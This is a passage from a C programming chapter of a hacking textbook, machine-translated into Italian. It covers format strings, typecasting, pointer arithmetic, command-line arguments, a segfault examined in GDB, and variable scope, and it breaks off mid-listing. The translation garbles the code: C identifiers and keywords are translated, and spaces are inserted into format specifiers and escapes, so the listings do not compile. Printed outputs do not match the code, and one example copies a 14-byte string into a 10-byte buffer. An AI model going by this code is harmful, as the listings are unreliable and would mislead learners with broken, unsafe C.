La quarta riga, etichettata [stringa] , mostra semplicemente l'uso del formato % s
parametro. Ricorda che la variabile stringa è in realtà un puntatore contenente
l'indirizzo della stringa, che funziona meravigliosamente, dal momento che il formato % s
il parametro si aspetta che i suoi dati vengano passati per riferimento.

Programmazione 49
Pagina 64

L'ultima riga mostra solo l'indirizzo della variabile A , usando l'unario


operatore di indirizzo per dereferenziare la variabile. Questo valore viene visualizzato come otto
cifre esadecimali, riempite da zeri.
Come mostrano questi esempi, dovresti usare % d per decimale, % u per non firmato,
e % x per i valori esadecimali. Le larghezze minime dei campi possono essere impostate inserendo un
numero subito dopo il segno di percentuale e se la larghezza del campo inizia con 0, esso
sarà riempito con zeri. Il parametro % s può essere utilizzato per stampare stringhe e
dovrebbe essere passato l'indirizzo della stringa. Fin qui tutto bene.
Le stringhe di formato vengono utilizzate da un'intera famiglia di funzioni I / O standard,
incluso scanf () , che fondamentalmente funziona come printf () ma è usato per l'input
invece di output. Una differenza fondamentale è che la funzione scanf () si aspetta tutto
dei suoi argomenti per essere puntatori, quindi gli argomenti devono essere effettivamente variabili
indirizzi, non le variabili stesse. Questo può essere fatto usando il puntatore
o utilizzando l'operatore indirizzo unario per recuperare l'indirizzo del file
variabili normali. Il programma e l'esecuzione input.c dovrebbero aiutare a spiegare.

input.c

#include <stdio.h>
#include <string.h>

int main () {
messaggio char [10];
int count, i;

strcpy (messaggio, "Hello, world!");

printf ("Ripeti quante volte?");


scanf ("% d", & count);

for (i = 0; i <count; i ++)


printf ("% 3d -% s \ n", i, messaggio);
}

In input.c, la funzione scanf () viene utilizzata per impostare la variabile count . Il risultato
di seguito ne viene illustrato l'utilizzo.

reader @ hacking: ~ / booksrc $ gcc -o input input.c


lettore @ hacking: ~ / booksrc $ ./input
Ripeti quante volte? 3
0 - Ciao mondo!
1 - Ciao mondo!
2 - Ciao mondo!
lettore @ hacking: ~ / booksrc $ ./input
Ripeti quante volte? 12
0 - Ciao mondo!
1 - Ciao mondo!
2 - Ciao mondo!
3 - Ciao mondo!
4 - Ciao mondo!
5 - Ciao mondo!
6 - Ciao mondo!

50 0x200

Pagina 65

7 - Ciao mondo!
8 - Ciao mondo!
9 - Ciao mondo!
10 - Ciao mondo!
11 - Ciao mondo!
lettore @ hacking: ~ / booksrc $

Le stringhe di formato vengono utilizzate abbastanza spesso, quindi la familiarità con esse è preziosa.
Inoltre, la capacità di produrre i valori delle variabili consente il debug in
il programma, senza l'uso di un debugger. Avere una qualche forma di immediato
il feedback è abbastanza vitale per il processo di apprendimento dell'hacker e qualcosa come
semplice come stampare il valore di una variabile può consentire un sacco di sfruttamento.

0x265 Typecasting
Typecasting è semplicemente un modo per modificare temporaneamente il tipo di dati di una variabile, nonostante
come era originariamente definito. Quando una variabile viene trasformata in un file
type, al compilatore viene sostanzialmente detto di trattare quella variabile come se fosse il file
nuovo tipo di dati, ma solo per tale operazione. La sintassi per il typecasting è
come segue:

(typecast_data_type) variabile

Può essere utilizzato quando si tratta di numeri interi e variabili a virgola mobile,
come dimostra typecasting.c.

typecasting.c

#include <stdio.h>

int main () {
int a, b;
float c, d;

a = 13;
b = 5;

c = a / b; // Dividi usando numeri interi.


d = (float) a / (float) b; // Divide interi typecast come float.
printf ("[numeri interi] \ ta =% d \ tb =% d \ n", a, b);
printf ("[floats] \ tc =% f \ td =% f \ n", c, d);
}

I risultati della compilazione e dell'esecuzione di typecasting.c sono i seguenti.

reader @ hacking: ~ / booksrc $ gcc typecasting.c


lettore @ hacking: ~ / booksrc $ ./a.out
[numeri interi] a = 13 b = 5
[galleggia] c = 2,000000 d = 2,600000
lettore @ hacking: ~ / booksrc $

Programmazione 51

Pagina 66

Come discusso in precedenza, la divisione dell'intero 13 per 5 verrà arrotondata per difetto a
risposta errata di 2, anche se questo valore viene memorizzato in una virgola mobile
variabile. Tuttavia, se queste variabili intere vengono convertite in float, lo faranno
essere trattato come tale. Ciò consente il calcolo corretto di 2.6.
Questo esempio è illustrativo, ma dove il typecasting brilla davvero è quando esso
viene utilizzato con le variabili puntatore. Anche se un puntatore è solo un indirizzo di memoria,
il compilatore C richiede ancora un tipo di dati per ogni puntatore. Una ragione per
questo per cercare di limitare gli errori di programmazione. Un puntatore intero dovrebbe solo
punta a dati interi, mentre un puntatore a caratteri dovrebbe puntare solo a caratteri
dati degli attori. Un altro motivo è per l'aritmetica dei puntatori. Un numero intero è quattro byte
di dimensione, mentre un carattere occupa solo un singolo byte. Il programma pointer_types.c
gram dimostrerà e spiegherà ulteriormente questi concetti. Questo codice utilizza l'estensione
formattare il parametro % p per visualizzare gli indirizzi di memoria. Questa è una scorciatoia
per visualizzare i puntatori ed è sostanzialmente equivalente a 0x% 08x .

pointer_types.c

#include <stdio.h>

int main () {
int i;

char char_array [5] = {'a', 'b', 'c', 'd', 'e'};


int int_array [5] = {1, 2, 3, 4, 5};

char * char_pointer;
int * int_pointer;

char_pointer = char_array;
int_pointer = int_array;

for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[puntatore intero] punta a% p, che contiene il numero intero% d \ n",
int_pointer, * int_pointer);
int_pointer = int_pointer + 1;
}

for (i = 0; i <5; i ++) {// Itera attraverso l'array char con char_pointer.
printf ("[char pointer] punta a% p, che contiene il carattere '% c' \ n",
char_pointer, * char_pointer);
char_pointer = char_pointer + 1;
}
}

In questo codice sono definiti due array in memoria, uno contenente un numero intero
dati e l'altro contenente dati carattere. Sono inoltre definiti due puntatori,
uno con il tipo di dati intero e uno con il tipo di dati carattere, e loro
sono impostati in modo che puntino all'inizio delle matrici di dati corrispondenti. Due separati per
esegue un'iterazione tra gli array utilizzando l'aritmetica del puntatore per regolare il puntatore
per puntare al valore successivo. Nei cicli, quando i valori intero e carattere

52 0x200

Pagina 67

sono in realtà stampate con le % d e % c parametri di formato, si noti che la


gli argomenti printf () corrispondenti devono dereferenziare le variabili del puntatore.
Questo viene fatto utilizzando l' operatore unario * ed è stato contrassegnato sopra
in grassetto.

reader @ hacking: ~ / booksrc $ gcc pointer_types.c


lettore @ hacking: ~ / booksrc $ ./a.out
[integer pointer] punta a 0xbffff7f0, che contiene il numero intero 1
[integer pointer] punta a 0xbffff7f4, che contiene il numero intero 2
[integer pointer] punta a 0xbffff7f8, che contiene il numero intero 3
[integer pointer] punta a 0xbffff7fc, che contiene il numero intero 4
[integer pointer] punta a 0xbffff800, che contiene il numero intero 5
[char pointer] punta a 0xbffff810, che contiene il carattere "a"
[char pointer] punta a 0xbffff811, che contiene il carattere "b"
[char pointer] punta a 0xbffff812, che contiene il carattere "c"
[char pointer] punta a 0xbffff813, che contiene il carattere "d"
[char pointer] punta a 0xbffff814, che contiene il carattere "e"
lettore @ hacking: ~ / booksrc $

Anche se lo stesso valore di 1 viene aggiunto a int_pointer e char_pointer


nei rispettivi cicli, il compilatore incrementa gli indirizzi del puntatore di
quantità diverse. Poiché un carattere è solo 1 byte, il puntatore al carattere successivo
naturalmente sarebbe anche 1 byte oltre. Ma poiché un numero intero è di 4 byte, un puntatore
al numero intero successivo deve essere superiore a 4 byte.
In pointer_types2.c, i puntatori sono giustapposti in modo tale che int_pointer
punta ai dati del carattere e viceversa. Le principali modifiche al codice
sono contrassegnati in grassetto.

pointer_types2.c

#include <stdio.h>

int main () {
int i;

char char_array [5] = {'a', 'b', 'c', 'd', 'e'};


int int_array [5] = {1, 2, 3, 4, 5};

char * char_pointer;
int * int_pointer;

char_pointer = int_array; // Il char_pointer e int_pointer adesso


int_pointer = char_array; // punta a tipi di dati incompatibili.

for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[puntatore intero] punta a% p, che contiene il carattere '% c' \ n",
int_pointer, * int_pointer);
int_pointer = int_pointer + 1;
}

for (i = 0; i <5; i ++) {// Itera attraverso l'array char con char_pointer.

Programmazione 53

Pagina 68

printf ("[char pointer] punta a% p, che contiene il numero intero% d \ n",


char_pointer, * char_pointer);
char_pointer = char_pointer + 1;
}
}

L'output seguente mostra gli avvisi emessi dal compilatore.

reader @ hacking: ~ / booksrc $ gcc pointer_types2.c


pointer_types2.c: Nella funzione `main ':
pointer_types2.c: 12: avviso: assegnazione da un tipo di puntatore incompatibile
pointer_types2.c: 13: avviso: assegnazione da un tipo di puntatore incompatibile
lettore @ hacking: ~ / booksrc $

Nel tentativo di evitare errori di programmazione, il compilatore fornisce un avviso


informazioni sui puntatori che puntano a tipi di dati incompatibili. Ma il compilatore
e forse il programmatore sono gli unici che si preoccupano di un puntatore
genere. Nel codice compilato, un puntatore non è altro che una memoria
address, quindi il compilatore compilerà comunque il codice se un puntatore punta a
un tipo di dati incompatibile: avvisa semplicemente il programmatore di anticipare
risultati inaspettati.

lettore @ hacking: ~ / booksrc $ ./a.out


[integer pointer] punta a 0xbffff810, che contiene il carattere "a"
[integer pointer] punta a 0xbffff814, che contiene il carattere "e"
[integer pointer] punta a 0xbffff818, che contiene il carattere "8"
[integer pointer] punta a 0xbffff81c, che contiene il carattere '
[integer pointer] punta a 0xbffff820, che contiene il carattere "?"
[char pointer] punta a 0xbffff7f0, che contiene il numero intero 1
[char pointer] punta a 0xbffff7f1, che contiene il numero intero 0
[char pointer] punta a 0xbffff7f2, che contiene il numero intero 0
[char pointer] punta a 0xbffff7f3, che contiene il numero intero 0
[char pointer] punta a 0xbffff7f4, che contiene il numero intero 2
lettore @ hacking: ~ / booksrc $

Anche se int_pointer punta a dati carattere che contengono solo


5 byte di dati, è ancora digitato come numero intero. Ciò significa che aggiungendo 1 al
il puntatore incrementerà l'indirizzo di 4 ogni volta. Allo stesso modo, char_pointer 's
address viene incrementato solo di 1 ogni volta, passando attraverso i 20 byte di
dati interi (cinque numeri interi da 4 byte), un byte alla volta. Ancora una volta, il piccolo
L'ordine dei byte endian dei dati interi è evidente quando il numero intero a 4 byte è
esaminato un byte alla volta. Il valore a 4 byte di 0x00000001 viene effettivamente memorizzato
in memoria come 0x01 , 0x00 , 0x00 , 0x00 .
Ci saranno situazioni come questa in cui stai usando un puntatore che
punta a dati con un tipo in conflitto. Poiché il tipo di puntatore determina il
dimensione dei dati a cui punta, è importante che il tipo sia corretto. Come puoi
vedi in pointer_types3.c sotto, typecasting è solo un modo per cambiare il tipo di un file
variabile al volo.

54 0x200

Pagina 69

pointer_types3.c

#include <stdio.h>

int main () {
int i;
char char_array [5] = {'a', 'b', 'c', 'd', 'e'};
int int_array [5] = {1, 2, 3, 4, 5};

char * char_pointer;
int * int_pointer;

char_pointer = (char *) int_array; // Typecast nel


int_pointer = (int *) char_array; // il tipo di dati del puntatore.

for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[puntatore intero] punta a% p, che contiene il carattere '% c' \ n",
int_pointer, * int_pointer);
int_pointer = (int *) ((char *) int_pointer + 1);
}

for (i = 0; i <5; i ++) {// Itera attraverso l'array char con char_pointer.
printf ("[char pointer] punta a% p, che contiene il numero intero% d \ n",
char_pointer, * char_pointer);
char_pointer = (char *) ((int *) char_pointer + 1);
}
}

In questo codice, quando i puntatori vengono inizialmente impostati, i dati vengono convertiti in typecast
il tipo di dati del puntatore. Ciò impedirà al compilatore C di lamentarsi
sui tipi di dati in conflitto; tuttavia, qualsiasi aritmetica del puntatore sarà ancora
sbagliato. Per risolvere questo problema, quando viene aggiunto 1 ai puntatori, devono prima essere digitati
cast nel tipo di dati corretto in modo che l'indirizzo venga incrementato dal corretto
quantità. Quindi questo puntatore deve essere reinserito nei dati del puntatore
digitare ancora una volta. Non sembra troppo carino, ma funziona.

reader @ hacking: ~ / booksrc $ gcc pointer_types3.c


lettore @ hacking: ~ / booksrc $ ./a.out
[integer pointer] punta a 0xbffff810, che contiene il carattere "a"
[integer pointer] punta a 0xbffff811, che contiene il carattere "b"
[puntatore intero] punta a 0xbffff812, che contiene il carattere "c"
[integer pointer] punta a 0xbffff813, che contiene il carattere "d"
[integer pointer] punta a 0xbffff814, che contiene il carattere "e"
[char pointer] punta a 0xbffff7f0, che contiene il numero intero 1
[char pointer] punta a 0xbffff7f4, che contiene il numero intero 2
[char pointer] punta a 0xbffff7f8, che contiene il numero intero 3
[char pointer] punta a 0xbffff7fc, che contiene il numero intero 4
[char pointer] punta a 0xbffff800, che contiene il numero intero 5
lettore @ hacking: ~ / booksrc $

Programmazione 55

Pagina 70

Naturalmente, è molto più semplice utilizzare il tipo di dati corretto per i puntatori
innanzitutto; tuttavia, a volte si desidera un puntatore generico e senza tipo.
In C, un puntatore void è un puntatore senza tipo, definito dalla parola chiave void .
Sperimentare con i puntatori void rivela rapidamente alcune cose sul senza tipo
puntatori. Primo, i puntatori non possono essere dereferenziati a meno che non abbiano un tipo.
Per recuperare il valore memorizzato nell'indirizzo di memoria del puntatore, il file
il compilatore deve prima sapere di che tipo di dati si tratta. In secondo luogo, i puntatori void devono
essere anche typecast prima di eseguire l'aritmetica del puntatore. Questi sono abbastanza intuitivi
limitazioni, il che significa che lo scopo principale di un puntatore vuoto è semplicemente tenere
un indirizzo di memoria.
Il programma pointer_types3.c può essere modificato per utilizzare un singolo void
puntatore digitandolo al tipo corretto ogni volta che viene utilizzato. Il compilatore
sa che un puntatore void è senza tipo, quindi qualsiasi tipo di puntatore può essere memorizzato in un file
void pointer senza typecasting. Ciò significa anche che un puntatore void deve sempre
essere typecast quando si dereferenzia esso, tuttavia. Queste differenze possono essere viste in
pointer_types4.c, che utilizza un puntatore void.

pointer_types4.c

#include <stdio.h>

int main () {
int i;

char char_array [5] = {'a', 'b', 'c', 'd', 'e'};


int int_array [5] = {1, 2, 3, 4, 5};

void * void_pointer;

void_pointer = (void *) char_array;

for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[char pointer] punta a% p, che contiene il carattere '% c' \ n",
void_pointer, * ((char *) void_pointer));
void_pointer = (void *) ((char *) void_pointer + 1);
}

void_pointer = (void *) int_array;

for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[puntatore intero] punta a% p, che contiene il numero intero% d \ n",
void_pointer, * ((int *) void_pointer));
void_pointer = (void *) ((int *) void_pointer + 1);
}
}

I risultati della compilazione e dell'esecuzione di pointer_types4.c sono come


segue.

56 0x200
Pagina 71

reader @ hacking: ~ / booksrc $ gcc pointer_types4.c


lettore @ hacking: ~ / booksrc $ ./a.out
[char pointer] punta a 0xbffff810, che contiene il carattere "a"
[char pointer] punta a 0xbffff811, che contiene il carattere "b"
[char pointer] punta a 0xbffff812, che contiene il carattere "c"
[char pointer] punta a 0xbffff813, che contiene il carattere "d"
[char pointer] punta a 0xbffff814, che contiene il carattere "e"
[integer pointer] punta a 0xbffff7f0, che contiene il numero intero 1
[integer pointer] punta a 0xbffff7f4, che contiene il numero intero 2
[integer pointer] punta a 0xbffff7f8, che contiene il numero intero 3
[integer pointer] punta a 0xbffff7fc, che contiene il numero intero 4
[integer pointer] punta a 0xbffff800, che contiene il numero intero 5
lettore @ hacking: ~ / booksrc $

La compilazione e l'output di questo pointer_types4.c sono sostanzialmente gli stessi


come quello per pointer_types3.c. Il puntatore vuoto in realtà sta solo trattenendo la memoria
indirizzi, mentre il typecasting hardcoded dice al compilatore di usare il
tipi appropriati ogni volta che viene utilizzato il puntatore.
Poiché il tipo è curato dai typecast, il puntatore void lo è veramente
nient'altro che un indirizzo di memoria. Con i tipi di dati definiti da type-
casting, tutto ciò che è abbastanza grande da contenere un valore di quattro byte può funzionare con
allo stesso modo di un puntatore vuoto. In pointer_types5.c, viene utilizzato un numero intero senza segno
per memorizzare questo indirizzo.

pointer_types5.c

#include <stdio.h>

int main () {
int i;

char char_array [5] = {'a', 'b', 'c', 'd', 'e'};


int int_array [5] = {1, 2, 3, 4, 5};

unsigned int hacky_nonpointer;

hacky_nonpointer = (unsigned int) char_array;

for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[hacky_nonpointer] punta a% p, che contiene il carattere '% c' \ n",
hacky_nonpointer, * ((char *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof (char);
}

hacky_nonpointer = (unsigned int) int_array;

for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[hacky_nonpointer] punta a% p, che contiene il numero intero% d \ n",
hacky_nonpointer, * ((int *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof (int);
}
}

Programmazione 57

Pagina 72

Questo è piuttosto complicato, ma poiché questo valore intero è typecast nel file
tipi di puntatori appropriati quando viene assegnato e dereferenziato, il risultato finale è
lo stesso. Si noti che invece di digitare più volte per eseguire il puntatore
aritmetica su un intero senza segno (che non è nemmeno un puntatore), la sizeof ()
viene utilizzata per ottenere lo stesso risultato utilizzando la normale aritmetica.

reader @ hacking: ~ / booksrc $ gcc pointer_types5.c


lettore @ hacking: ~ / booksrc $ ./a.out
[hacky_nonpointer] punta a 0xbffff810, che contiene il carattere "a"
[hacky_nonpointer] punta a 0xbffff811, che contiene il carattere "b"
[hacky_nonpointer] punta a 0xbffff812, che contiene il carattere "c"
[hacky_nonpointer] punta a 0xbffff813, che contiene il carattere "d"
[hacky_nonpointer] punta a 0xbffff814, che contiene il carattere "e"
[hacky_nonpointer] punta a 0xbffff7f0, che contiene il numero intero 1
[hacky_nonpointer] punta a 0xbffff7f4, che contiene il numero intero 2
[hacky_nonpointer] punta a 0xbffff7f8, che contiene il numero intero 3
[hacky_nonpointer] punta a 0xbffff7fc, che contiene il numero intero 4
[hacky_nonpointer] punta a 0xbffff800, che contiene il numero intero 5
lettore @ hacking: ~ / booksrc $

La cosa importante da ricordare sulle variabili in C è che il componente


piler è l'unica cosa che si preoccupa del tipo di una variabile. Alla fine, dopo il
il programma è stato compilato, le variabili non sono altro che memoria
indirizzi. Ciò significa che le variabili di un tipo possono essere facilmente forzate
comportandosi come un altro tipo dicendo al compilatore di inserirli nel file
tipo desiderato.

0x266 Argomenti della riga di comando


Molti programmi non grafici ricevono input sotto forma di riga di comando
argomenti. A differenza dell'inserimento con scanf () , gli argomenti della riga di comando no
richiedono l'interazione dell'utente dopo che il programma ha iniziato l'esecuzione. Questo tende
per essere più efficiente ed è un utile metodo di input.
In C, è possibile accedere agli argomenti della riga di comando nella funzione main () tramite
inclusi due argomenti aggiuntivi per la funzione: un numero intero e un puntatore
a un array di stringhe. L'intero conterrà il numero di argomenti e
l'array di stringhe conterrà ciascuno di questi argomenti. La riga di comando. C
programma e la sua esecuzione dovrebbero spiegare le cose.

commandline.c

#include <stdio.h>
int main (int arg_count, char * arg_list []) {
int i;
printf ("Sono stati forniti% d argomenti: \ n", arg_count);
for (i = 0; i <arg_count; i ++)
printf ("argomento #% d \ t- \ t% s \ n", i, arg_list [i]);
}

58 0x200

Pagina 73

reader @ hacking: ~ / booksrc $ gcc -o commandline commandline.c


lettore @ hacking: ~ / booksrc $ ./commandline
Sono stati forniti 1 argomenti:
argomento # 0 - ./commandline
reader @ hacking: ~ / booksrc $ ./commandline questo è un test
Sono stati forniti 5 argomenti:
argomento # 0 - ./commandline
argomento # 1 - questo
argomento # 2 - è
argomento # 3 - a
argomento n. 4 - test
lettore @ hacking: ~ / booksrc $

L'argomento zero è sempre il nome del file binario in esecuzione e


il resto dell'array di argomenti (spesso chiamato vettore di argomenti ) contiene l'estensione
argomenti rimanenti come stringhe.
A volte un programma vorrà utilizzare un argomento della riga di comando come file
numero intero in contrapposizione a una stringa. Indipendentemente da ciò, l'argomento viene passato
come una stringa; tuttavia, esistono funzioni di conversione standard. A differenza del semplice
typecasting, queste funzioni possono effettivamente convertire matrici di caratteri contenenti
numeri in interi effettivi. La più comune di queste funzioni è atoi () ,
che è l'abbreviazione di ASCII to integer . Questa funzione accetta un puntatore a una stringa
come argomento e restituisce il valore intero che rappresenta. Osserva il suo utilizzo
in convert.c.

convert.c

#include <stdio.h>

void usage (char * program_name) {


printf ("Utilizzo:% s <messaggio> <# di volte da ripetere> \ n", nome_programma);
uscita (1);
}

int main (int argc, char * argv []) {


int i, count;

if (argc <3) // Se vengono utilizzati meno di 3 argomenti,


utilizzo (argv [0]); // visualizza il messaggio di utilizzo ed esce.

count = atoi (argv [2]); // Converte il secondo argomento in un numero intero.


printf ("Ripetendo% d volte .. \ n", count);

for (i = 0; i <count; i ++)


printf ("% 3d -% s \ n", i, argv [1]); // Stampa il primo argomento.
}

I risultati della compilazione e dell'esecuzione di convert.c sono i seguenti.

lettore @ hacking: ~ / booksrc $ gcc convert.c


lettore @ hacking: ~ / booksrc $ ./a.out
Utilizzo: ./a.out <messaggio> <numero di volte da ripetere>

Programmazione 59

Pagina 74

reader @ hacking: ~ / booksrc $ ./a.out 'Hello, world!' 3


Ripetendo 3 volte ..
0 - Ciao mondo!
1 - Ciao mondo!
2 - Ciao mondo!
lettore @ hacking: ~ / booksrc $

Nel codice precedente, un'istruzione if assicura che tre argomenti


vengono utilizzati prima di accedere a queste stringhe. Se il programma tenta di accedere alla memoria
ory che non esiste o che il programma non ha il permesso di leggere,
il programma andrà in crash. In C è importante verificare questi tipi di condi-
e gestirli nella logica del programma. Se l' istruzione if di controllo degli errori è
commentato, questa violazione della memoria può essere esplorata. Il convert2.c
programma dovrebbe renderlo più chiaro.

convert2.c

#include <stdio.h>

void usage (char * program_name) {


printf ("Utilizzo:% s <messaggio> <# di volte da ripetere> \ n", nome_programma);
uscita (1);
}

int main (int argc, char * argv []) {


int i, count;

// if (argc <3) // Se vengono utilizzati meno di 3 argomenti,


// utilizzo (argv [0]); // visualizza il messaggio di utilizzo ed esce.

count = atoi (argv [2]); // Converte il secondo argomento in un numero intero.


printf ("Ripetendo% d volte .. \ n", count);

for (i = 0; i <count; i ++)


printf ("% 3d -% s \ n", i, argv [1]); // Stampa il primo argomento.
}

I risultati della compilazione e dell'esecuzione di convert2.c sono i seguenti.

lettore @ hacking: ~ / booksrc $ gcc convert2.c


reader @ hacking: ~ / booksrc $ ./a.out test
Errore di segmentazione (core dump)
lettore @ hacking: ~ / booksrc $

Quando al programma non vengono forniti abbastanza argomenti della riga di comando, continua a farlo
cerca di accedere agli elementi dell'array di argomenti, anche se non esistono.
Ciò provoca l'arresto anomalo del programma a causa di un errore di segmentazione.
La memoria è suddivisa in segmenti (di cui parleremo più avanti) e alcuni
gli indirizzi di memoria non sono entro i confini dei segmenti di memoria
il programma ha accesso a. Quando il programma tenta di accedere a un indirizzo
che è fuori dai limiti, si bloccherà e morirà in quello che viene chiamato un errore di segmentazione .
Questo effetto può essere esplorato ulteriormente con GDB.

60 0x200

Pagina 75

reader @ hacking: ~ / booksrc $ gcc -g convert2.c


lettore @ hacking: ~ / booksrc $ gdb -q ./a.out
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) esegui test
Avvio del programma: /home/reader/booksrc/a.out test

Il programma ha ricevuto il segnale SIGSEGV, errore di segmentazione.


0xb7ec819b in ?? () da /lib/tls/i686/cmov/libc.so.6
(gdb) dove
# 0 0xb7ec819b in ?? () da /lib/tls/i686/cmov/libc.so.6
# 1 0xb800183c in ?? ()
# 2 0x00000000 in ?? ()
(gdb) break main
Breakpoint 1 in 0x8048419: file convert2.c, riga 14.
(gdb) esegui test
Il programma in fase di debug è già stato avviato.
Iniziarlo dall'inizio? (y o n) y
Avvio del programma: /home/reader/booksrc/a.out test

Breakpoint 1, main (argc = 2, argv = 0xbffff894 ) a convert2.c: 14


14 count = atoi (argv [2]); // converte il 2 ° arg in un intero
(gdb) cont
Continuando.

Il programma ha ricevuto il segnale SIGSEGV, errore di segmentazione.


0xb7ec819b in ?? () da /lib/tls/i686/cmov/libc.so.6
(gdb) x / 3xw 0xbffff894
0xbffff894: 0xbffff9b3 0xbffff9ce 0x00000000
(gdb) x / s 0xbffff9b3
0xbffff9b3: "/home/reader/booksrc/a.out"
(gdb) x / s 0xbffff9ce
0xbffff9ce: "test"
(gdb) x / s 0x00000000
0x0: <indirizzo 0x0 fuori dai limiti>
(gdb) esci
Il programma è in esecuzione. Esci comunque? (y o n) y
lettore @ hacking: ~ / booksrc $

Il programma viene eseguito con un singolo argomento della riga di comando test
all'interno di GDB, che causa l'arresto anomalo del programma. Il comando where lo farà
a volte mostrano un utile backtrace dello stack; tuttavia, in questo caso, il file
lo stack è stato distrutto troppo gravemente durante l'incidente. Un punto di interruzione è impostato su principale e
il programma viene rieseguito per ottenere il valore del vettore argomento (mostrato in
grassetto). Poiché il vettore dell'argomento è un puntatore a un elenco di stringhe, in realtà è un file
puntatore a un elenco di puntatori. Utilizzando il comando x / 3xw per esaminare il primo
tre indirizzi di memoria memorizzati nell'indirizzo del vettore dell'argomento lo mostrano
sono essi stessi puntatori a stringhe. Il primo è l'argomento zero,
il secondo è l' argomento del test e il terzo è zero, che è fuori limite.
Quando il programma tenta di accedere a questo indirizzo di memoria, si blocca con un file
errore di segmentazione.

Programmazione 61

Pagina 76

0x267 Ambito variabile


Un altro concetto interessante relativo alla memoria in C è lo scoping variabile o
contesto, in particolare i contesti delle variabili all'interno delle funzioni. Ogni funzione
zione ha il proprio insieme di variabili locali, che sono indipendenti da tutto
altro. In effetti, più chiamate alla stessa funzione hanno tutte il proprio contesto.
Puoi usare la funzione printf () con stringhe di formato per esplorarlo rapidamente;
verificalo nell'ambito. c.

scope c
#include <stdio.h>

void func3 () {
int i = 11;
printf ("\ t \ t \ t [in func3] i =% d \ n", i);
}

void func2 () {
int i = 7;
printf ("\ t \ t [in func2] i =% d \ n", i);
func3 ();
printf ("\ t \ t [torna in func2] i =% d \ n", i);
}

void func1 () {
int i = 5;
printf ("\ t [in func1] i =% d \ n", i);
func2 ();
printf ("\ t [torna in func1] i =% d \ n", i);
}

int main () {
int i = 3;
printf ("[in main] i =% d \ n", i);
func1 ();
printf ("[torna in main] i =% d \ n", i);
}

L'output di questo semplice programma mostra le chiamate di funzioni annidate.

lettore @ hacking: ~ / booksrc $ gcc scope.c


lettore @ hacking: ~ / booksrc $ ./a.out
[in main] i = 3
[in func1] i = 5
[in func2] i = 7
[in func3] i = 11
[torna in func2] i = 7
[torna in func1] i = 5
[torna in main] i = 3
lettore @ hacking: ~ / booksrc $

62 0x200

Pagina 77

In ogni funzione, la variabile i è impostata su un valore diverso e stampata.


Si noti che all'interno della funzione main () , la variabile i è 3, anche dopo la chiamata
func1 () dove la variabile i è 5. Allo stesso modo, all'interno di func1 () la variabile i
rimane 5, anche dopo aver chiamato func2 () dove i è 7, e così via. Il migliore
Il modo per pensarlo è che ogni chiamata di funzione ha la propria versione di
variabile i .
Le variabili possono anche avere un ambito globale, il che significa che persisteranno
in tutte le funzioni. Le variabili sono globali se sono definite all'inizio
del codice, al di fuori di qualsiasi funzione. Nel codice di esempio scope2.c mostrato
sotto, la variabile j è dichiarata globalmente e impostata su 42. Questa variabile può essere
leggere e scrivere da qualsiasi funzione e le modifiche ad essa persistono
tra le funzioni.

scope2.c

#include <stdio.h>

int j = 42; // j è una variabile globale.

void func3 () {
int i = 11, j = 999; // Qui, j è una variabile locale di func3 ().
printf ("\ t \ t \ t [in func3] i =% d, j =% d \ n", i, j);
}

void func2 () {
int i = 7;
printf ("\ t \ t [in func2] i =% d, j =% d \ n", i, j);
printf ("\ t \ t [in func2] impostazione j = 1337 \ n");
j = 1337; // Scrivendo a j
func3 ();
printf ("\ t \ t [torna in func2] i =% d, j =% d \ n", i, j);
}

void func1 () {
int i = 5;
printf ("\ t [in func1] i =% d, j =% d \ n", i, j);
func2 ();
printf ("\ t [torna in func1] i =% d, j =% d \ n", i, j);
}

int main () {
int i = 3;
printf ("[in main] i =% d, j =% d \ n", i, j);
func1 ();
printf ("[torna in main] i =% d, j =% d \ n", i, j);
}

I risultati della compilazione e dell'esecuzione di scope2.c sono i seguenti.

lettore @ hacking: ~ / booksrc $ gcc scope2.c


lettore @ hacking: ~ / booksrc $ ./a.out
[in principale] i = 3, j = 42

Programmazione 63

Pagina 78
[in func1] i = 5, j = 42
[in func2] i = 7, j = 42
[in func2] impostazione j = 1337
[in func3] i = 11, j = 999
[torna in func2] i = 7, j = 1337
[di nuovo in func1] i = 5, j = 1337
[di nuovo in main] i = 3, j = 1337
lettore @ hacking: ~ / booksrc $

Nell'output, la variabile globale j viene scritta in func2 () e il file


il cambiamento persiste in tutte le funzioni eccetto func3 () , che ha il proprio locale
variabile chiamata j . In questo caso, il compilatore preferisce utilizzare la variabile locale.
Con tutte queste variabili che usano gli stessi nomi, può creare un po 'di confusione, ma
ricordati che alla fine è tutto solo ricordo. La variabile globale j è giusta
archiviati in memoria, e ogni funzione è in grado di accedere a quella memoria. Il locale
le variabili per ciascuna funzione sono archiviate ciascuna nella propria posizione in memoria,
indipendentemente dai nomi identici. Stampa gli indirizzi di memoria di questi
le variabili daranno un'immagine più chiara di quello che sta succedendo. Nell'esempio scope3.c
codice di seguito, gli indirizzi delle variabili vengono stampati utilizzando l'indirizzo unario di
operatore.

scope3.c

#include <stdio.h>

int j = 42; // j è una variabile globale.

void func3 () {
int i = 11, j = 999; // Qui, j è una variabile locale di func3 ().
printf ("\ t \ t \ t [in func3] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t \ t \ t [in func3] j @ 0x% 08x =% d \ n", & j, j);
}

void func2 () {
int i = 7;
printf ("\ t \ t [in func2] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t \ t [in func2] j @ 0x% 08x =% d \ n", & j, j);
printf ("\ t \ t [in func2] impostazione j = 1337 \ n");
j = 1337; // Scrivendo a j
func3 ();
printf ("\ t \ t [torna in func2] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t \ t [torna in func2] j @ 0x% 08x =% d \ n", & j, j);
}

void func1 () {
int i = 5;
printf ("\ t [in func1] i @ 0x% 08x =% d \ n", & i, i);
